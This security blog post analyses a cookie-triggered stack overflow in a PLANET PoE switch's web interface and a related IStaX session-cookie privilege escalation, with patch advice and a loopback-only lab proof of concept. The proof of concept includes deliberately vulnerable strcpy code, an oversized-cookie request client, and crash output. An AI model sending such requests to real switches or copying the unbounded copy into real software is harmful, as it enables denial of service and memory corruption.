HB Updated Nov 15, 2026

The Cookie That Crashes the Switch: CVE-2026-109445, an Unauthenticated Stack Overflow in PLANET GS-5220

PLANET GS-5220-8P2T2S V3 managed switch, the device affected by CVE-2026-109445 (product photo: PLANET Technology), presented on the blog's dark amber background treatment

A single oversized HTTP Cookie crashes the management web server of a PLANET Technology PoE switch, and it takes no credentials to do it. CVE-2026-109445 is an unauthenticated stack-based buffer overflow in the web management interface of the PLANET GS-5220-8P2T2S V3 switch (hardware version 3.0), disclosed on 13 November 2026 and scored 9.8 Critical on CVSS v3.1. The trigger is one unauthenticated HTTP request carrying a webstax_auth cookie value longer than the fixed stack buffer that stores it.

The same advisory bundles a second flaw with a longer history: CVE-2026-2336, a privilege escalation in Microchip IStaX, the embedded web middleware behind the switch’s session cookies, lets a low-privileged user recover the device’s shared cookie secret and forge an administrator session. PLANET fixed both issues in firmware v3.2412b261022 and reports the fix verified as PASS on physical hardware.

If the switch is in your fleet, the newest firmware combined with a management interface that is not reachable from the open network removes the practical risk. The crash is demonstrated; remote code execution on physical hardware has not been confirmed, and neither CVE appears in CISA’s Known Exploited Vulnerabilities catalog as of the catalog’s 13 November 2026 release. The bottom line: an internet-reachable management interface is a liability worth reviewing, on this device or any other.


What You Need To Know

Item Detail
CVE CVE-2026-109445 (stack overflow), CVE-2026-2336 (session-cookie privilege escalation)
Product PLANET Technology GS-5220-8P2T2S V3, hardware version 3.0
Severity CVE-2026-109445: CVSS v3.1 9.8 Critical (primary, CNA VulnCheck), CVSS v4.0 9.3 Critical. CVE-2026-2336: CVSS v3.1 8.8 High (NVD), CVSS v4.0 8.7 High (CNA)
Weakness CVE-2026-109445: CWE-121, Stack-based Buffer Overflow. CVE-2026-2336: CWE-331, Insufficient Entropy
Attack vector Network, unauthenticated (CVE-2026-109445); authenticated low-privileged user required (CVE-2026-2336)
Affected versions Firmware before 3.2412b261008 per the CVE record; PLANET confirms firmware v3.2412b251216 affected and warns that other unpatched builds may also be affected
Fixed version Firmware v3.2412b261022 (both CVEs); fix verification on physical hardware: PASS
Exploit status Stack corruption and saved return address overwrite demonstrated by the researchers in a QEMU-based firmware test, per the vendor advisory; RCE on physical hardware not confirmed; no public reports of in-the-wild exploitation at publication time; not in the CISA KEV catalog (13 November 2026 release)
Disclosed 13 November 2026 (PLANET advisory revision history: initial version 2026-11-13)
Research credit Tianchang Yang and Syed Rafiul Hussain, SyNSec Lab, Penn State University
CNA VulnCheck

What To Do If You Are Affected

Nothing here calls for panic: there are no public reports of in-the-wild exploitation, and a management-interface crash is the confirmed impact. If the switch turns up in your fleet, though, the steps below close the practical attack path, roughly in the order that matters most.

  1. Check whether you are affected. A quick inventory for the GS-5220-8P2T2S and its hardware revision is a good starting point. Only hardware version 3.0 is named in the advisory, and the CVE record scopes affected firmware to builds before 3.2412b261008. PLANET adds a caveat worth keeping in mind: the vendor confirmed v3.2412b251216 affected and states that other unpatched builds may also be affected.

  2. Consider moving management off the open network. The advisory’s guidance is to restrict management-interface access to trusted networks. If switch management currently shares a VLAN with users or the internet, moving it to a dedicated management VLAN, or out-of-band access where the hardware allows, removes most of the practical exposure on its own. This switch feeds PoE-powered devices such as surveillance cameras, so an unreachable management plane is a meaningful risk reduction even before any firmware change.

  3. Plan on firmware v3.2412b261022. The advisory asks customers to install v3.2412b261022 once it is available on the official PLANET website, and states the fix was verified on a physical GS-5220-8P2T2S V3 device with a PASS result. This firmware carries both fixes, including the bundled IStaX cookie issue, so it is the version to target in your next maintenance window.

  4. Cookie-length alerts are cheap detection. If you log requests to the management interface, an oversized webstax_auth cookie is a recognizable probing indicator for this class of bug. Alerting on long session-cookie values catches CVE-2026-109445-shaped attempts without much effort.

  5. Keep an eye on the advisories page. The advisory scopes this disclosure to one model, and neither PLANET nor Microchip names other affected PLANET products. That is a scope statement, not proof of absence: other devices running the same IStaX web middleware were the reason CVE-2026-2336 exists, so PLANET’s security advisories page is the place to watch for sibling disclosures.


The Story

The GS-5220-8P2T2S is not an exotic device. PLANET’s datasheet describes it as an L2+ 8-Port 10/100/1000T 802.3at PoE + 2-Port 10/100/1000T + 2-Port 100/1000X SFP Managed Switch: eight Gigabit copper ports delivering up to 36 watts each under the 802.3at PoE+ standard, a 240-watt total power budget, two extra copper uplinks and two SFP fiber slots. The datasheet positions it squarely at “IP security surveillance for small businesses and enterprises”, which means its typical neighborhood is a camera rack in a wiring closet, powering the very devices a site trusts to watch its perimeter.

It is also a fully managed switch. The same datasheet lists a built-in web-based management interface alongside console, Telnet and SNMP, with SSHv2, TLSv1.2 and SNMPv3 for secure sessions, and firmware upgrades served over HTTP through the network. That web interface is the attack surface in this story.

The researchers who pulled the thread work from academia. PLANET’s advisory closes with an acknowledgment that names Tianchang Yang and Syed Rafiul Hussain (SyNSec Lab, Penn State University), and VulnCheck’s advisory credits the same pair. VulnCheck, acting as the CVE Numbering Authority, published its advisory on 13 November 2026, the same day PLANET’s advisory appeared and the same day the CVE record landed in NVD.

The disclosure is really two bugs wearing one advisory. The newer one, CVE-2026-109445, lives in the switch’s handling of its own login cookie. The older one, CVE-2026-2336, sits one layer down in Microchip IStaX, the component whose webstax_auth session cookie both flaws orbit. Microchip’s bulletin on IStaX cookie authentication is listed in the CVE record as the vendor reference, and NVD shows that CVE-2026-2336 was published months earlier, on 16 April 2026, affecting IStaX before the 2026.03 release.

That seven-month gap matters, and it is not an accusation: it is the ordinary physics of embedded supply chains. A component vendor fixes its middleware in April. The device maker folds the updated component into its own firmware and ships it in November, in the same build that fixes the stack overflow found in the interim. We will come back to what that lag means for fleet operators in The Bigger Picture.

Disclosure timeline showing CVE-2026-2336 published 16 April 2026 for Microchip IStaX, a seven month patch gap, and CVE-2026-109445 bundled with the IStaX fix in PLANET firmware v3.2412b261022 on 13 November 2026

One more disclosure mechanic worth knowing: the NVD record for CVE-2026-109445 is currently in “Received” status, meaning the database has the record but full NVD enrichment has not caught up with the CNA submission yet. The scores quoted in this article come from the CNA (VulnCheck) record itself.


How It Works

Attack flow for CVE-2026-109445: an unauthenticated attacker sends one HTTP GET with an oversized webstax_auth cookie to the switch web management server, which copies it into a fixed-size stack buffer without length validation, overwriting the saved frame pointer and saved return address; confirmed impact is web management disruption or denial of service while RCE on physical hardware is not confirmed

The stack overflow: CVE-2026-109445

The advisory describes the flaw in two sentences, and both are worth reading carefully:

In affected firmware, an unauthenticated remote attacker can trigger a stack-based buffer overflow by supplying an oversized webstax_auth HTTP Cookie value to the web management interface. Due to insufficient input length validation, the oversized value can overflow a fixed-size stack buffer. - PLANET Technology security advisory, 13 November 2026

The mechanics are the oldest bug class in the book, which is precisely why it still works. A web session cookie arrives in an HTTP request header. Somewhere in the management server’s request path, the webstax_auth value gets copied into a buffer allocated on the stack. The buffer has a fixed size. The copy has no length validation. The cookie value can be as long as the attacker wants it to be.

 attacker request                vulnerable copy                stack frame
 ---------------                ---------------                -----------
 Cookie: webstax_auth=  ----->  no length check  ----->  [ webstax_auth[64] ]  local buffer
 AAAAAAAA...512 bytes           strcpy()                [ saved RBP        ]  clobbered
                                                        [ saved RIP        ]  clobbered  <- return address

Everything above the buffer on the stack, including the saved frame pointer and the saved return address, is attacker-controlled data. The advisory states the result plainly:

In a QEMU-based firmware test, the researcher demonstrated stack-memory corruption and overwrite of a saved return address. This could cause web management disruption or denial of service (DoS). Remote code execution on physical hardware has not been confirmed. - PLANET Technology security advisory, 13 November 2026

Three facts in that quote deserve emphasis. First, the researchers ran their work against the actual firmware in QEMU-based emulation, the standard way to exercise embedded code without hardware. Second, the confirmed impact ceiling is corruption and denial of service: the crash is real, the return address lands under attacker control in the emulated firmware. Third, the vendor explicitly labels remote code execution on physical hardware as not confirmed. That is an honest, carefully scoped statement, and this article keeps the same scope. A return address you control is one exploit-development step short of RCE, but that step has not been shown publicly here, and claiming it would outrun the sources.

The public record does not disclose the buffer size, the crash offset or any gadget details for the real firmware, and we will not invent them. What the record does give everyone is the request shape: an unauthenticated GET with an oversized webstax_auth cookie. That is enough for defenders to detect probes and for owners to verify exposure, and it is exactly the shape our lab PoC reproduces below.

The cookie that grants admin: CVE-2026-2336

The second flaw explains why the cookie’s content matters as much as its length. The NVD record describes it like this:

A privilege escalation vulnerability in Microchip IStaX allows an authenticated low-privileged user to recover a shared per-device cookie secret from their own webstax_auth session cookie and forge a new cookie with administrative privileges. - CVE-2026-2336 description, NVD

The design idea is recognizable from countless web frameworks: sign or derive the session cookie’s integrity from a device-wide secret so the server can trust cookies it did not hand out this boot. The failure is equally recognizable: if the “secret” is recoverable from the cookie itself and carries insufficient entropy, the holder of any session can mint any other session. MITRE classifies this one as CWE-331, Insufficient Entropy. The session cookie becomes not just an authentication token but a key disclosure.

The vendor advisory frames the impact on the switch:

A user already authenticated with low privileges may recover the shared device-cookie secret from their own webstax_auth session cookie and forge a cookie with administrator privileges, resulting in privilege escalation. - PLANET Technology security advisory, 13 November 2026

PLANET scores it 8.7 High on CVSS v4.0 and 8.8 High on v3.1. It requires an authenticated low-privileged account, so it is not a network-edge threat the way the stack overflow is. But the combination is ugly in the way chained bugs usually are: one unauthenticated crash to knock the device, one privilege escalation to own the management plane from a low-privilege account. And the flaw is not PLANET’s code; it is upstream middleware, which means every other IStaX consumer had the same repair to make after Microchip fixed it in the 2026.03 release.


The PoC

Complete PoC, including the replica server, the request client and both demonstration runs: https://gitlab.com/hunt-benito/the-cookie-that-crashes-the-switch-cve-2026-109445-unauthenticated-stack-overflow-in-planet-gs-5220

<strong>Scope note:</strong> we do not have the switch on the bench, and the public record does not ship its firmware. Our PoC therefore reproduces the flaw pattern the advisory describes, on a small HTTP server we wrote for the purpose, and demonstrates the exact request shape on that stand-in. It is an honest model of the CWE-121 mechanism, not a PLANET firmware exploit, and the buffer sizes are our lab choices.

The replica is a 140-line C program. It listens on loopback only, parses a Cookie: header, and copies the webstax_auth value into a fixed 64-byte stack buffer with strcpy, the identical “fixed-size stack buffer, no length validation” pattern from the advisory:

static void handle_cookie(const char *cookie_value)
{
    char webstax_auth[COOKIE_BUF_SIZE]; /* fixed-size stack buffer: 64 bytes */

    strcpy(webstax_auth, cookie_value); /* the flaw: no bounds check */
}

The client is a Python script that builds the request the advisory describes: an unauthenticated GET whose Cookie header carries a 512-byte webstax_auth value. It refuses to send anything without --confirm-owned, and --dry-run shows the request first:

$ python3 webstax_overflow_client.py --dry-run --size 512
GET /login.html HTTP/1.0
Host: 127.0.0.1:8888
Cookie: webstax_auth=AAAA...512 bytes total...

Run 1: the memory-safety demonstration

Built with AddressSanitizer, the replica catches the overflow at the exact strcpy the advisory describes, a 513-byte write into a 64-byte stack object:

$ ./replica_server-asan &
$ python3 webstax_overflow_client.py --confirm-owned --size 512
[client] target 127.0.0.1:8888 (size=512, marker='A')
[client] sent 622 bytes (Cookie: webstax_auth=<512 bytes>)
[client] server closed the connection without answering

The server log shows the corruption the moment the cookie lands:

[handler] cookie value received: 512 bytes -> fixed stack buffer of 64
          bytes, copied without length validation
=================================================================
==18621==ERROR: AddressSanitizer: stack-buffer-overflow on address
0x770958a00060 at pc 0x77095aea7923 bp 0x7fff0ee560c0 sp 0x7fff0ee55868
WRITE of size 513 at 0x770958a00060 thread T0
    #0 0x77095aea7922 in strcpy ../../../../src/libsanitizer/asan/asan_interceptors.cpp:563
    #1 0x5d52bc8cf62e in handle_cookie replica_server.c:50
    #2 0x5d52bc8cfc9c in main replica_server.c:121

Address 0x770958a00060 is located in stack of thread T0 at offset 96 in frame
    #0 0x5d52bc8cf538 in handle_cookie replica_server.c:42

  This frame has 1 object(s):
    [32, 96) 'webstax_auth' (line 43) <== Memory access at offset 96
        overflows this variable

That is the advisory’s first sentence made concrete: the oversized value overflows the fixed stack buffer.

Run 2: the saved return address

Memory sanitizers stop the corruption at the copy. Embedded targets usually have neither AddressSanitizer nor stack canaries, so the same request against a build without them (and with PIE disabled, as on typical embedded firmware) shows what the advisory’s researcher saw in QEMU: the crash happens when the function returns, and the return chain is the cookie.

$ gdb --batch -ex 'handle SIGSEGV stop print' -ex run \
      -ex 'info registers rip rsp rbp' -ex bt ./replica_server-plain
[server] replica web management interface listening on 127.0.0.1:8888 (lab only)
[server] request received (622 bytes)
[handler] cookie value received: 512 bytes -> fixed stack buffer of 64
          bytes, copied without length validation
[handler] cookie stored: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
[handler] returning from handler

Program received signal SIGSEGV, Segmentation fault.
0x000000000040140f in handle_cookie (cookie_value=0x7fffffffc6c5
'A' <repeats 200 times>...) at replica_server.c:54
rip            0x40140f            0x40140f <handle_cookie+153>
rsp            0x7fffffffc668      0x7fffffffc668
rbp            0x4141414141414141  0x4141414141414141
#0  0x000000000040140f in handle_cookie (...) at replica_server.c:54
#1  0x4141414141414141 in ?? ()
#2  0x4141414141414141 in ?? ()
#3  0x4141414141414141 in ?? ()

Read the rbp register: 0x4141414141414141. The saved frame pointer and the saved return address are now made of the cookie payload, and the unwinder chews through dozens of 0x41 frames trying to walk a stack the attacker wrote. This is the “stack-memory corruption and overwrite of a saved return address” PLANET’s advisory confirmed for the real firmware under QEMU, reproduced on a stand-in with one request and no credentials.

What we did not demonstrate, and will not claim: converting that controlled return address into code execution on the device. The vendor has not confirmed RCE on physical hardware, no exploit details are public, and the honest ceiling for this bug, as disclosed today, is a management interface you can crash from the network.


The Bigger Picture

Three threads tie this advisory to patterns we keep seeing in embedded and IoT security.

The web middleware is shared plumbing. The webstax_auth cookie does not belong to PLANET. It belongs to Microchip IStaX, and CVE-2026-2336 proves the design: a per-device cookie secret with insufficient entropy, recoverable from the cookie itself, fixed upstream in the 2026.03 release and reachable in PLANET’s switch until the November firmware. Component bugs like this reach fleets on device-maker schedules, not component-maker schedules: Microchip’s fix was public in April, the switch firmware carrying it arrived in November. Seven months is not an outlier in embedded supply chains; it is roughly the median experience. Operators of embedded fleets should ask every vendor the same question: which upstream components ship inside your firmware, and how fast do their advisories reach your patch train?

Shared secrets keep failing the same way. A per-device secret that every session token can leak is functionally a printed password, and it is the same failure mode we described in The Same Key Opens Every Box: hard-coded JWT secret in Cudy’s WR3000 mesh MQTT broker: one static trust anchor, extractable by anyone who holds one legitimate token, valid for the whole device or fleet. The fix pattern is also the same and it is old advice: secrets must be unique per device, never derivable from the artifacts they authenticate, and generated with enough entropy that guessing is not a strategy.

The management plane is the attack surface. A PoE switch’s data plane forwards packets; its management plane logs you in, upgrades its firmware over HTTP and, on this model, crashes on a long cookie. We saw the firmware-trust side of the same coin in The Key Ships With the Lock: CVE-2026-82876, a Phison S11 SSD firmware signature bypass: device-level trust decisions are only as strong as the code that enforces them, and that code is rarely hardened like a server. The practical consequence for operators is boring and effective: management interfaces belong on management networks. NVD currently carries seventeen CVE records that mention PLANET Technology as a vendor, a modest but steady cadence for a company whose catalog spans hundreds of embedded models, and neither of today’s CVEs is in CISA’s Known Exploited Vulnerabilities catalog yet. That is no reason for comfort. It is one researcher pair away from changing.

A cookie that crashes a switch is a curiosity. A cookie that crashes a switch, written by anyone with curl and no credentials, on the device that powers your camera network, is a patch ticket worth filing soon.


SOURCES

NVD record, CVE-2026-109445: https://nvd.nist.gov/vuln/detail/CVE-2026-109445

NVD record, CVE-2026-2336 (Microchip IStaX privilege escalation): https://nvd.nist.gov/vuln/detail/CVE-2026-2336

PLANET Technology, Security Advisory, PLANET GS-5220-8P2T2S V3 (2026-11-13): https://www.planet.com.tw/en/support/security-advisory/12

VulnCheck advisory, PLANET GS-5220-8P2T2S Stack Buffer Overflow via webstax_auth Cookie (CNA record, 2026-11-13): https://www.vulncheck.com/advisories/planet-gs-5220-8p2t2s-stack-buffer-overflow-via-webstax-auth-cookie

Microchip, IStaX privilege escalation via weak cookie authentication (vendor bulletin referenced by the CVE-2026-2336 record): https://www.microchip.com/en-us/solutions/technologies/embedded-security/how-to-report-potential-product-security-vulnerabilities/istax-privilege-escalation-via-weak-cookie-authentication

PLANET Technology, GS-5220-8P2T2S (V3) datasheet: https://www.planet.com.tw/storage/products/49501/C-GS-5220-8P2T2Sv3_L.pdf

PLANET Technology download center, GS-5220-8P2T2S: https://www.planet.com.tw/en/support/downloads?keyword=GS-5220-8P2T2S

MITRE CWE-121, Stack-based Buffer Overflow: https://cwe.mitre.org/data/definitions/121.html

MITRE CWE-331, Insufficient Entropy: https://cwe.mitre.org/data/definitions/331.html

CISA Known Exploited Vulnerabilities catalog (13 November 2026 release): https://www.cisa.gov/known-exploited-vulnerabilities-catalog

Tags

Account-Takeover Agentic-AI AI Gateway android Android Android-Adb Android-apktool Android-Avd Android-Studio Anti-Bot API-Security Authentication Automotive Backslash-Breakout Baseband Bot-Detection Browser-Automation Browser-Fingerprinting Buffer Overflow Buffer-Overflow C2 Cache-Key-Collision Camoufox CAN-Bus CAPTCHA Chrome Cloudflare Command-Injection Container-Escape Cross-Site-Scripting Cryptography Cudy CWE-121 CWE-122 CWE-125 CWE-1333 CWE-23 CWE-269 CWE-288 CWE-290 CWE-347 CWE-384 CWE-706 CWE-798 CWE-862 CWE-89 CWE-926 CWE-94 Data-Scraping Denial-of-Service Diagnostics Elixir Embedded Embedded-Systems Exploit FastGPT Firmware Frida Geolocation GooglePlay Hardware Heap-Overflow Hi-Browser html-sanitize-ex HTTP2 Hugging-Face Identity-Confusion Information Security Integer-Overflow IoT JNI JWT Lexer-Differential Linux Linux-Kernel LiteLLM llama-cpp LLaMA-Factory LLM LwM2M Machine-Learning MCP Measurement MediaTek Memory Disclosure MindsDB Missing-Authorization mitmproxy Mobile Security Mobile-Security MQTT Network-Analysis Networking OAuth OAuth2 OBD2 OIDC OpenID-Connect Out-of-Bounds Page-Cache Patchright Path-Traversal Penetration Testing pgAdmin PHP phpIPAM Playwright PostgreSQL Privilege-Escalation Prompt-Injection Python Race-Condition RCE ReDoS Reverse Engineering Reverse-Engineering Router Ruby Samsung-Bixby Samsung-Exynos SD-WAN Security Security-Research Session Hijacking Session-Hijacking SiYuan SMS Snapchat SNMP Speech-Recognition SQL-Injection SSD SSL-Pinning STIG-Manager Supply-Chain TECNO Tenda TLS Traefik UC-Browser UDS Vulnerability Web Applications Web Scraping Web-Crawling Web-Scraping Web-Security WebGPU Websocket WeChat Wi-Fi Zammad Zephyr Zero-Day